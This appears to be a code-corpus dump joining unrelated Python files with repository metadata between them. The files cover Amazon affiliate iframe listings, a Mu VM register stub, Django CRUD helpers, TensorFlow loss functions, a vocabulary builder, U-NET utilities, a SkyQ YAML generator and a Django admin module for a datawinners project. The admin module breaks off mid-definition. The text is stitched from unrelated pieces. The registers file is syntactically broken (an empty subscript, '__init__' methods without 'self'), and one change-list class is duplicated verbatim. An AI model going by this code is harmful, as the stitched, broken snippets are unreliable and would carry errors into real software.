scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07PDHSJ1H&asins=B07PDHSJ1H&linkId=f2fec788a0432b623bd85426817d0d3e&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Echo (3ª geração) - Smart Speaker com Alexa - Cor Azul", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07TZLF17T&asins=B07TZLF17T&linkId=34f0600d7d789a5141429a14233e4bab&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Novo Echo Dot (4ª Geração): Smart Speaker com Alexa - Cor Azul", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B084KV8YRR&asins=B084KV8YRR&linkId=4a032d7efa13b15d6c4c55fa05a02b7b&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Novo Fire TV Stick Lite com Controle Remoto Lite por Voz com Alexa | Streaming em Full HD | Modelo 2020", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07ZZW745X&asins=B07ZZW745X&linkId=a3ea569a7df70e9e4e4b6d49365f616a&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Sonoff® T2 Us Interruptor Wifi Inteligente 3 Botões Touth Screen Wi-fi & Rf 433 Mhz, Funciona com Alexa", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07XRTNDNX&asins=B07XRTNDNX&linkId=f2fa5f01a0b48f660f452dd6ed593b9c&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Sonoff® T2 Us Interruptor Wifi Inteligente 2 Botões Touth Screen Wi-fi & Rf 433 Mhz, Funciona com Alexa", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07XRVN4ZK&asins=B07XRVN4ZK&linkId=12b2fa5290bcf58826fe920710104133&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], [" Sonoff TX3 Interruptor Wifi, 3 Botões, Touch Screen, Funciona com Alexa - Preto", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B0848PQMFL&asins=B0848PQMFL&linkId=16f1e8bf3b2b80c7774e4a5d4cfe14fe&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Sonoff basic- automação residencial", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B077D3P9J2&asins=B077D3P9J2&linkId=5744ead441d0f693cb901403f6420e29&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Interruptor Inteligente Sonoff, 4 Canais, Funciona com Alexa", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07CZZB5VF&asins=B07CZZB5VF&linkId=2d80d47cb4459757e201e388174c0615&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Smart Controle Universal, Positivo Casa Inteligente, concentre todos os controles remotos no seu celular, Compatível com Alexa Smart Controle Universal", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B085RNT8B9&asins=B085RNT8B9&linkId=a35cf940e71c66383bb0705f52c9e577&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"], ["Smart Plug Max Wi-Fi", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B084J6Y2JF&asins=B084J6Y2JF&linkId=f1f38a453cbab525ee3c70c88e92ca88&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "iot"]] return(prod)

5,050.8

25,197

0.818405

0

24,918

0.984745

cdcc403733cc344ed109e0132f133aabd50b5dc1

1,213

py

Python

rpython/jit/backend/muvm/registers.py

wdv4758h/mu-client-pypy

d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf

[ "Apache-2.0", "OpenSSL" ]

null

rpython/jit/backend/muvm/registers.py

wdv4758h/mu-client-pypy

d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf

[ "Apache-2.0", "OpenSSL" ]

null

rpython/jit/backend/muvm/registers.py

wdv4758h/mu-client-pypy

d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf

[ "Apache-2.0", "OpenSSL" ]

null

""" Modified version of ../muvm/registers.py. Will update as needed. """ #from rpython.jit.backend.arm.locations import VFPRegisterLocation #from rpython.jit.backend.arm.locations import SVFPRegisterLocation #from rpython.jit.backend.arm.locations import RegisterLocation from rpython.jit.metainterp.history import (Const, ConstInt, ConstFloat, ConstPtr, INT, REF, FLOAT) registers = [] vfpregisters = [] svfpregisters = [] all_regs = [] all_vfp_regs = vfpregisters[] argument_regs = caller_resp = [] callee_resp = [] callee_saved_registers = callee_resp callee_restored_registers = callee_resp vfp_argument_regs = caller_vfp_resp = [] svfp_argument_regs = [] callee_vfp_resp = [] callee_saved_vfp_registers = callee_vfp_resp class Reg(object): """ Default register type. """ type = None size = 0 val = None class IntReg(Reg): type = INT def __init__(size = None, val = None): self.size = size self.val = val class FPReg(Reg): type = FLOAT def __init__(size = None, val = None): assert size in (None, 32, 64) self.size = size self.val = val

25.270833

72

0.650453

385

0.317395

0

298

0.245672

cdcc7612e16b3989892d1765ee8591ffd8c61843

1,536

py

Python

src/database/CRUD/create.py

gregory-chekler/api

11ecbea945e7eb6fa677a0c0bb32bda51ba15f28

[ "MIT" ]

2

2020-07-24T12:58:17.000Z

2020-12-17T02:26:13.000Z

src/database/CRUD/create.py

gregory-chekler/api

11ecbea945e7eb6fa677a0c0bb32bda51ba15f28

[ "MIT" ]

214

2019-06-26T17:33:54.000Z

2022-03-26T00:02:34.000Z

src/database/CRUD/create.py

massenergize/portalBackEnd

7ed971b2be13901667a216d8c8a46f0bed6d6ccd

[ "MIT" ]

6

2020-03-13T20:29:06.000Z

2021-08-20T16:15:08.000Z

""" This file contains code to post data from the database. This is meant to centralize the insertion of data into the database so that multiple apps can call on the methods in this file without having to define their own and to prevent code redundancy. """ from ..models import * from ..utils.common import ensure_required_fields from ..utils.create_factory import CreateFactory def new_action(args): factory = CreateFactory(Action, args) return factory.create(Action, args) def new_community(args): factory = CreateFactory(Community, args) return factory.create() def new_event(args): factory = CreateFactory(Event, args) return factory.create() def new_user_profile(args): factory = CreateFactory(UserProfile, args) return factory.create(UserProfile, args) def new_location(args): factory = CreateFactory(Location, args) return factory.create() def new_subscriber(args): factory = CreateFactory(Subscriber, args) return factory.create(Subscriber, args) def new_billing_statement(args): factory = CreateFactory(BillingStatement, args) return factory.create(BillingStatement, args) def new_slider(args): factory = CreateFactory(Slider, args) return factory.create(Slider, args) def new_menu(args): factory = CreateFactory(Menu, args) return factory.create(Menu, args) def new_page_section(args): factory = CreateFactory(PageSection, args) return factory.create(PageSection, args) def new_page(args): factory = CreateFactory(Page, args) return factory.create(Page, args)

25.180328

76

0.76888

0

259

0.16862

cdccadfab450a4e9a57ce9f5439e430bde2038d3

527

py

Python

tfutils/losses/losses.py

njchiang/tf-keras-utils

6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd

[ "MIT" ]

null

tfutils/losses/losses.py

njchiang/tf-keras-utils

6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd

[ "MIT" ]

null

tfutils/losses/losses.py

njchiang/tf-keras-utils

6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd

[ "MIT" ]

null

# this actually won't work with keras... not exactly a keras utility import tensorflow as tf def ae_loss_fn(model, x, y, training=None): pred = model(x, training) mse = tf.keras.losses.MSE(y, pred) return tf.reduce_mean(mse), pred # function is untested def vae_loss_fn(model, x, y, training=None): z, m, v = model.encoder(x, training) pred = model.decoder(z) mse = tf.reduce_sum(tf.keras.losses.MSE(y, pred)) kld = -0.5 * tf.reduce_sum(1 + v - tf.pow(m, 2) - tf.exp(v)) return mse + kld, pred

35.133333

68

0.660342

0

90

0.170778

cdccf6c01653163bb8ca38561bfba641eb360f29

834

py

Python

src/data_generator/vocab_builder.py

luciencho/jddc_solo

efddf0885d5e3c640835874f70d57d25123de141

[ "BSD-3-Clause" ]

null

src/data_generator/vocab_builder.py

luciencho/jddc_solo

efddf0885d5e3c640835874f70d57d25123de141

[ "BSD-3-Clause" ]

null

src/data_generator/vocab_builder.py

luciencho/jddc_solo

efddf0885d5e3c640835874f70d57d25123de141

[ "BSD-3-Clause" ]

null

# coding:utf-8 from __future__ import unicode_literals from __future__ import division from __future__ import print_function import os from src.utils import utils from src.data_generator import vocabulary def process(hparam): utils.raise_inexistence(hparam.tmp_dir) tokenizer = vocabulary.Tokenizer(segment=hparam.segment) all_data = [] paths = [os.path.join(hparam.tmp_dir, 'train_q.txt'), os.path.join(hparam.tmp_dir, 'train_a.txt'), os.path.join(hparam.tmp_dir, 'dev_q.txt'), os.path.join(hparam.tmp_dir, 'dev_a.txt')] vocab_path = os.path.join(hparam.tmp_dir, '{}.vcb'.format(hparam.vocab_size)) for path in paths: utils.raise_inexistence(path) all_data += utils.read_lines(path) tokenizer.build_vocab(all_data, hparam.vocab_size, vocab_path)

33.36

81

0.713429

0

70

0.083933

cdd4efc2e23f55bb4467b8c8df8e0d1cdd72fa3d

419

py

Python

xas/queries/elastic.py

neuromore/msgxc

e74565a7991d80e5951ef22452521bcbca27fc92

[ "Apache-2.0" ]

1

2020-03-30T22:14:21.000Z

xas/queries/elastic.py

neuromore/msgxc

e74565a7991d80e5951ef22452521bcbca27fc92

[ "Apache-2.0" ]

12

2020-04-15T00:00:49.000Z

2022-02-27T01:26:08.000Z

xas/queries/elastic.py

neuromore/msgxc

e74565a7991d80e5951ef22452521bcbca27fc92

[ "Apache-2.0" ]

4

2020-01-16T11:29:38.000Z

2020-04-03T09:43:40.000Z

from elasticsearch import Elasticsearch # TODO: Not implemented yet es = Elasticsearch(["localhost"], sniff_on_connection_fail=True, sniffer_timeout=60) def threads_all(): res = es.search(index="mthreads", body={"query": {"match_all": {}}}) print("Got %d Hits:" % res['hits']['total']) # for hit in res['hits']['hits']: # print("%(timestamp)s %(author)s: %(text)s" % hit["_source"]) return res

38.090909

84

0.649165

0

192

0.458234

cdd5f8ad7b2f42d4bfe80a22a6bf9fc481e565ca

2,750

py

Python

U-NET/utils.py

HarshZ26/Object-Detection

1d73f6aeb7452b0b26bd2713e69f340d129a5ba5

[ "MIT" ]

1

2022-03-23T15:49:02.000Z

U-NET/utils.py

HarshZ26/Object-Detection

1d73f6aeb7452b0b26bd2713e69f340d129a5ba5

[ "MIT" ]

null

U-NET/utils.py

HarshZ26/Object-Detection

1d73f6aeb7452b0b26bd2713e69f340d129a5ba5

[ "MIT" ]

null

from init import * VOC_CLASSES = [ "background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "potted plant", "sheep", "sofa", "train", "tv/monitor", ] VOC_COLORMAP = [ [0, 0, 0], [128, 0, 0], [0, 128, 0], [128, 128, 0], [0, 0, 128], [128, 0, 128], [0, 128, 128], [128, 128, 128], [64, 0, 0], [192, 0, 0], [64, 128, 0], [192, 128, 0], [64, 0, 128], [192, 0, 128], [64, 128, 128], [192, 128, 128], [0, 64, 0], [128, 64, 0], [0, 192, 0], [128, 192, 0], [0, 64, 128], ] palette = np.array(VOC_COLORMAP) custom_transforms = [transforms.Normalize(mean=[-0.485, -0.456,-0.406], std=[1/0.229, 1/0.224,1/0.225])] inv_trans = torchvision.transforms.Compose(custom_transforms) transform = A.Compose([A.Resize(512,512), A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),ToTensorV2() ]) def calculate_weight(loader): weight_map = torch.zeros(21) for i,(_,mask) in enumerate(loader): mask = mask.permute(0,3,1,2) index,counts = torch.unique(torch.argmax(mask,axis = 1),sorted = True,return_counts=True) for i in range(len(index)): weight_map[index[i]] = counts[i] weight_map = (mask.size(2)*mask.size(3)*len(loader))/(weight_map) return weight_map/21 def calculate_acc(grnd,predicted): grnd = torch.argmax(grnd,axis = 1) predicted = torch.argmax(predicted,axis = 1) x = torch.eq(grnd,predicted).int() acc= torch.sum(x)/(grnd.size(1)*grnd.size(1)) return acc def collate_fn(batch): data = [] #filled with 64 elements thorugh for loops target = [] for item in batch: #batch = 64 items list one item = [image,label] im = item[0] open_cv_image = np.array(im) open_cv_image = open_cv_image.copy() transformed = transform(image=open_cv_image,mask = item[1]) im = transformed['image'] mask = transformed['mask'] data.append(im) target.append(mask) target = torch.stack(target,dim =0) data = torch.stack(data,dim=0) return [data, target] def test_img(loader): tes_img = iter(loader) images,masks = tes_img.next() print("images",images.size()) print("labels",masks.size()) print(np.shape(images)) img = images[0].squeeze() img = inv_trans(img) img = img.numpy() im2display = img.transpose((1,2,0)) grnd_mask = masks.numpy().transpose[0] a1 = np.argmax(grnd_mask,axis = 2) g_mask = palette[a1] plt.imshow(im2display, interpolation='nearest') plt.imshow(g_mask)

25.229358

105

0.577818

0

299

0.108727

cdd753cdba3af6ee31cf0c550e2ee7e5c881ebc9

2,898

py

Python

custom_components/skyq/classes/switchmaker.py

TomBrien/Home_Assistant_SkyQ_MediaPlayer

50f9ad0d3b7a3bc2acc652415ff59740bf3ace10

[ "MIT" ]

null

custom_components/skyq/classes/switchmaker.py

TomBrien/Home_Assistant_SkyQ_MediaPlayer

50f9ad0d3b7a3bc2acc652415ff59740bf3ace10

[ "MIT" ]

null

custom_components/skyq/classes/switchmaker.py

TomBrien/Home_Assistant_SkyQ_MediaPlayer

50f9ad0d3b7a3bc2acc652415ff59740bf3ace10

[ "MIT" ]

null

""" A utility function to generate yaml config for SkyQ media players. To support easy usage with other home assistant integrations, e.g. google home """ import os.path as _path import yaml from ..const import CONST_ALIAS_FILENAME class Switch_Maker: """The Switchmaker Class.""" def __init__(self, config_dir, entity_id, room, channels): """Initialise the Switchmaker.""" self._entity_id = entity_id self._room = room self._root = config_dir if self._root[-1] != "/": self._root += "/" self._f = open( self._root + "skyq" + self._room.replace(" ", "") + ".yaml", "w+" ) if _path.isfile(self._root + CONST_ALIAS_FILENAME): aliasfile = open(self._root + CONST_ALIAS_FILENAME, "r") self._alias = yaml.full_load(aliasfile) aliasfile.close() self._addSwitch("pause", "pause", "media_pause") self._addSwitch("play", "play", "media_play") self._addSwitch("ff", "fastforward", "media_next_track") self._addSwitch("rw", "rewind", "media_previous_track") dedup_channels = list(dict.fromkeys(channels)) for ch in dedup_channels: self._addSwitch(ch, ch, "select_source", True) self._f.close() def _addSwitch(self, switch, friendly_name, service, source=False): """Add switch to switches.""" source_switch = switch.replace("'", "''") if self._alias: friendly_name = self._findAlias(friendly_name) else: friendly_name = friendly_name.replace("'", "") switch_name = ( "skyq_" + switch.replace(" ", "") .replace("'", "") .replace("+", "_") .replace(".", "") .replace("!", "") .replace(":", "_") .replace("/", "_") .lower() + self._room.replace(" ", "").lower() ) source_name = "" if source: source_name = " source: '" + source_switch + "'\n" self._f.write( " " + switch_name + ":\n" + " value_template: '{{\"off\"}}'\n" + " friendly_name: '" + friendly_name + " in the " + self._room + "'\n" + " turn_on:\n" + " service: media_player." + service + "\n" + " data:\n" + " entity_id: " + self._entity_id + "\n" + source_name + " turn_off:\n" + " service: script.placeholder\n" ) def _findAlias(self, friendly_name): try: alias = self._alias[friendly_name] except KeyError: alias = friendly_name return alias

30.1875

78

0.493444

2,661

0.918219

0

745

0.257074

cdd78b4b371ac658a03d1638d8afdbda0805a759

24,528

py

Python

datawinners/accountmanagement/admin.py

ICT4H/dcs-web

fb0f53fad4401cfac1c1789ff28b9d5bda40c975

[ "Apache-2.0" ]

1

2015-11-02T09:11:12.000Z

datawinners/accountmanagement/admin.py

ICT4H/dcs-web

fb0f53fad4401cfac1c1789ff28b9d5bda40c975

[ "Apache-2.0" ]

null

datawinners/accountmanagement/admin.py

ICT4H/dcs-web

fb0f53fad4401cfac1c1789ff28b9d5bda40c975

[ "Apache-2.0" ]

null

# vim: ai ts=4 sts=4 et sw=4 encoding=utf-8 import datetime import logging from django.contrib.auth.admin import UserAdmin from django.contrib.auth.forms import UserChangeForm from django.core.exceptions import ValidationError from django.forms import CharField from django.utils.translation import ugettext_lazy as _ from django.contrib import admin from django.contrib.auth.models import User, Group from django_digest.models import PartialDigest from django.contrib import messages from django.utils.safestring import mark_safe from django.contrib.admin.views.main import ChangeList from datawinners.common.admin.utils import get_text_search_filter, get_admin_panel_filter from datawinners.project.submission.export import create_excel_response from datawinners.search.index_utils import get_elasticsearch_handle from forms import forms from datawinners.accountmanagement.models import OrganizationSetting, SMSC, PaymentDetails, MessageTracker, Organization, NGOUserProfile, OutgoingNumberSetting from mangrove.form_model.field import ExcelDate from mangrove.utils.types import is_empty, is_not_empty from datawinners.countrytotrialnumbermapping.models import Country, Network from datawinners.utils import get_database_manager_for_org from datawinners.feeds.database import feeds_db_for from django.db.models import Q admin.site.disable_action('delete_selected') class DatawinnerAdmin(admin.ModelAdmin): def has_delete_permission(self, request, obj=None): return False def has_add_permission(self, request): return False class OrganizationSettingAdmin(DatawinnerAdmin): list_display = ('organization_name', 'organization_id', 'type', 'payment_details', 'activation_date', 'admin_email') fields = ('sms_tel_number', 'outgoing_number') search_fields = ['organization__name','organization__org_id'] ordering = ('-organization__active_date',) def organization_name(self, obj): return obj.organization.name organization_name.admin_order_field = "organization__name" def _get_ngo_admin(self, organization_setting): user_profiles = NGOUserProfile.objects.filter(org_id=organization_setting.organization.org_id) admin_users = [x.user for x in user_profiles if x.user.groups.filter(name="NGO Admins")] #right now there is only one ngo admin return admin_users[0] if is_not_empty(admin_users) else NullAdmin() def admin_email(self, obj): return self._get_ngo_admin(obj).email def organization_id(self, obj): return obj.organization.org_id organization_id.admin_order_field = "organization__org_id" def payment_details(self, obj): organization = obj.organization payment_details = PaymentDetails.objects.filter(organization=organization) if not is_empty(payment_details): return payment_details[0].preferred_payment return "--" def type(self, obj): return obj.organization.account_type type.admin_order_field = 'organization__account_type' def activation_date(self, obj): return obj.organization.active_date if obj.organization.active_date is not None else '--' activation_date.admin_order_field = "organization__active_date" activation_date.short_description = "Created on" class MessageTrackerAdmin(DatawinnerAdmin): list_display = ("organization_name", "organization_id","type", "month", "combined_total_incoming", "total_incoming_per_month", "total_messages", "total_outgoing_messages", "outgoing_sms_count","outgoing_sms_charged_count", "sent_reminders_count","sent_reminders_charged_count", "send_message_count","send_message_charged_count", "sms_api_usage_count","sms_api_usage_charged_count", "sms_submission", "incoming_sp_count", "incoming_web_count", "sms_registration_count") search_fields = ['organization__name', 'organization__org_id', 'month'] ordering = ('-month',) def __init__(self, *args, **kwargs): super(MessageTrackerAdmin, self).__init__(*args, **kwargs) self.list_display_links = (None,) def organization_name(self, obj): return obj.organization.name organization_name.short_description = mark_safe('Organisation<br/>name') def type(self,obj): return obj.organization.account_type def organization_id(self, obj): return obj.organization.org_id organization_id.short_description = mark_safe('Organisation<br/>ID') def combined_total_incoming(self, obj): return obj.total_incoming_in_total() combined_total_incoming.short_description = mark_safe('Total<br/>incoming<br/>Submissions<br/>(In total)') def total_incoming_per_month(self, obj): return obj.total_monthly_incoming_messages() total_incoming_per_month.short_description = mark_safe('Total<br/>Incoming<br/>Submissions<br/>') def current_month(self, obj): return datetime.datetime.strftime(obj.month, "%m-%Y") current_month.short_description = "Month" def total_outgoing_messages(self, obj): return obj.outgoing_message_count() total_outgoing_messages.short_description = mark_safe('Outgoing Charged SMS:<br/>Total') def total_messages(self, obj): return obj.total_messages() total_messages.short_description = mark_safe('Total SMS<br/>(incoming<br/>and<br/>outgoing)') def combined_total_messages(self, obj): return obj.combined_total_messages() combined_total_messages.short_description = mark_safe('Total SMS<br/>(in total)') def sms_submission(self, obj): return obj.incoming_sms_count - obj.sms_registration_count sms_submission.short_description = mark_safe('SMS<br/>Submissions') def export_message_tracker_details_to_excel(modeladmin, request, query_set): headers = ["Organization Name", "Organization Id","Type", "Month", "Total Incoming Submissions (In total)", "Total Incoming Submissions", "Total SMS (incoming and outgoing)", "Outgoing Charged SMS: Total", "Outgoing SMS: Auto Reply", "Outgoing Charged SMS: Auto Reply", "Outgoing SMS: Reminders", "Outgoing Charged SMS: Reminders", "Outgoing SMS: Send Message", "Outgoing Charged SMS: Send Message", "Outgoing SMS: API", "Outgoing Charged SMS: API", "SMS Submissions", "SP Submissions", "Web Submissions", "SMS Subject Registration"] list = [] textSearchFilter = get_text_search_filter(request.GET,MessageTrackerAdmin.search_fields) adminPanelFilter = get_admin_panel_filter(request.GET) filteredSms = MessageTracker.objects.all().filter(Q(**adminPanelFilter) & (textSearchFilter)) for messageTracker in filteredSms: sms_tracker_month = ExcelDate(datetime.datetime.combine(messageTracker.month, datetime.datetime.min.time()), 'dd.mm.yyyy') if messageTracker.month else None list.append([modeladmin.organization_name(messageTracker), modeladmin.organization_id(messageTracker), modeladmin.type(messageTracker), sms_tracker_month, messageTracker.total_incoming_in_total(), messageTracker.total_monthly_incoming_messages(), messageTracker.total_messages(), messageTracker.outgoing_message_count(), messageTracker.outgoing_sms_count, messageTracker.outgoing_sms_charged_count, messageTracker.sent_reminders_count, messageTracker.sent_reminders_charged_count, messageTracker.send_message_count, messageTracker.send_message_charged_count, messageTracker.sms_api_usage_count, messageTracker.sms_api_usage_charged_count, modeladmin.sms_submission(messageTracker), messageTracker.incoming_sp_count, messageTracker.incoming_web_count, messageTracker.sms_registration_count]) response = create_excel_response(headers, list, 'tracker_list') return response actions = [export_message_tracker_details_to_excel] class OrganizationChangeList(ChangeList): def get_query_set(self): if not self.params.get("q", ""): return super(OrganizationChangeList, self).get_query_set() from django.db import connection cursor = connection.cursor() query = """Select array_agg(DISTINCT o.org_id) from accountmanagement_organization o inner join accountmanagement_ngouserprofile p on p.org_id = o.org_id inner join auth_user u on u.id = p.user_id inner join auth_user_groups ug on ug.user_id = u.id inner join auth_group g on ug.group_id = g.id and g.name = %s """ params = ["NGO Admins"] for index, keyword in enumerate(self.params.get("q").split()): from django_countries.countries import COUNTRIES codes = ["'" + code + "'" for code, name in COUNTRIES if unicode(name).lower().find(keyword.lower()) != -1 ] country_codes = ', '.join(codes) if len(codes) else "''" query += "and " if index else "where" query += " (o.country in (%s) " % country_codes query += """OR u.email ilike %s OR u.first_name||u.last_name ilike %s OR o.name ilike %s OR p.mobile_phone ilike %s OR o.address||o.addressline2||o.city||o.zipcode||o.state ilike %s OR o.office_phone ilike %s OR o.website ilike %s OR o.org_id ilike %s OR to_char(o.active_date, 'YYYY-MM-DD HH:MI:SS') ilike %s) """ params.extend(["%" + keyword + "%"] * 9) cursor.execute(query, params) org_ids = cursor.fetchone()[0] qs = Organization.objects.filter(org_id__in=org_ids or []) if self.order_field: qs = qs.order_by('%s%s' % ((self.order_type == 'desc' and '-' or ''), self.order_field)) else: qs = qs.order_by('-active_date') return qs class OrganizationChangeList(ChangeList): def get_query_set(self): if not self.params.get("q", ""): return super(OrganizationChangeList, self).get_query_set() from django.db import connection cursor = connection.cursor() query = """Select array_agg(DISTINCT o.org_id) from accountmanagement_organization o inner join accountmanagement_ngouserprofile p on p.org_id = o.org_id inner join auth_user u on u.id = p.user_id inner join auth_user_groups ug on ug.user_id = u.id inner join auth_group g on ug.group_id = g.id and g.name = %s """ params = ["NGO Admins"] for index, keyword in enumerate(self.params.get("q").split()): from django_countries.countries import COUNTRIES codes = ["'" + code + "'" for code, name in COUNTRIES if unicode(name).lower().find(keyword.lower()) != -1 ] country_codes = ', '.join(codes) if len(codes) else "''" query += "and " if index else "where" query += " (o.country in (%s) " % country_codes query += """OR u.email ilike %s OR u.first_name||u.last_name ilike %s OR o.name ilike %s OR p.mobile_phone ilike %s OR o.address||o.addressline2||o.city||o.zipcode||o.state ilike %s OR o.office_phone ilike %s OR o.website ilike %s OR o.org_id ilike %s OR to_char(o.active_date, 'YYYY-MM-DD HH:MI:SS') ilike %s) """ params.extend(["%" + keyword + "%"] * 9) cursor.execute(query, params) org_ids = cursor.fetchone()[0] qs = Organization.objects.filter(org_id__in=org_ids or []) if self.order_field: qs = qs.order_by('%s%s' % ((self.order_type == 'desc' and '-' or ''), self.order_field)) else: qs = qs.order_by('-active_date') return qs class OrganizationAdmin(DatawinnerAdmin): list_display = ( 'name', 'org_id', 'complete_address', 'office_phone', 'website', 'paid', 'active_date', 'admin_name', 'admin_email', 'admin_mobile_number', 'sms_api_users', 'status') actions = ['deactivate_organizations', 'activate_organizations', 'delete_organizations'] search_fields = ['name', 'address', 'addressline2', 'city', 'zipcode', 'state', 'office_phone', 'website'] ordering = ('-active_date',) def get_changelist(self, request, **kwargs): return OrganizationChangeList def get_query_set(self, request, queryset, search_term): queryset, use_distinct = super(OrganizationAdmin, self).get_search_results(request, queryset, search_term) if search_term: queryset = queryset.filter(ngouserprofile__title__icontains=search_term) return queryset, use_distinct def deactivate_organizations(modeladmin, request, queryset): queryset.exclude(status__in=['Deactivated','Pending Activation']).update(status='Deactivated', status_changed_datetime=datetime.datetime.now()) messages.success(request, _('The accounts selected have been deactivated successfully.')) selected = request.POST.getlist(admin.ACTION_CHECKBOX_NAME) orgs_id = Organization.objects.filter(org_id__in=selected).exclude(status='Pending Activation').\ values_list('org_id', flat=True) User.objects.filter(ngouserprofile__org_id__in=orgs_id).update(is_active=False) deactivate_organizations.short_description = "Deactivate accounts" def activate_organizations(modeladmin, request, queryset): queryset.exclude(status__in=['Activated','Pending Activation']).update(status='Activated', status_changed_datetime=datetime.datetime.now()) messages.success(request, _('The accounts selected have been activated successfully.')) selected = request.POST.getlist(admin.ACTION_CHECKBOX_NAME) orgs_id = Organization.objects.filter(org_id__in=selected).exclude(status='Pending Activation').\ values_list('org_id', flat=True) User.objects.filter(ngouserprofile__org_id__in=orgs_id).update(is_active=True) activate_organizations.short_description = "Activate accounts" def delete_organizations(modeladmin, request, queryset): orgs = queryset.filter(status__in=['Deactivated', "Pending Activation"]) for organization in orgs: dbm = get_database_manager_for_org(organization) organization.purge_all_data() del dbm.server[dbm.database_name] feed_database_name = "feed_" + dbm.database_name feed_dbm = feeds_db_for(feed_database_name) del feed_dbm.server[feed_database_name] es = get_elasticsearch_handle() try: es.delete_index(dbm.database_name) except Exception as e: logging.info("Could not delete index " + str(e.message)) delete_organizations.short_description = "Delete accounts" class Media: css = {"all": ("/media/css/plugins/jqueryUI/jquery-ui-1.8.13.custom.css",)} js = ("/media/javascript/jquery.js", "/media/javascript/jqueryUI/jquery-ui-1.8.13.custom.min.js",) def sms_api_users(self, organization): user_profiles = NGOUserProfile.objects.filter(org_id=organization.org_id) return " , ".join([x.user.username for x in user_profiles if x.user.groups.filter(name="SMS API Users")]) def 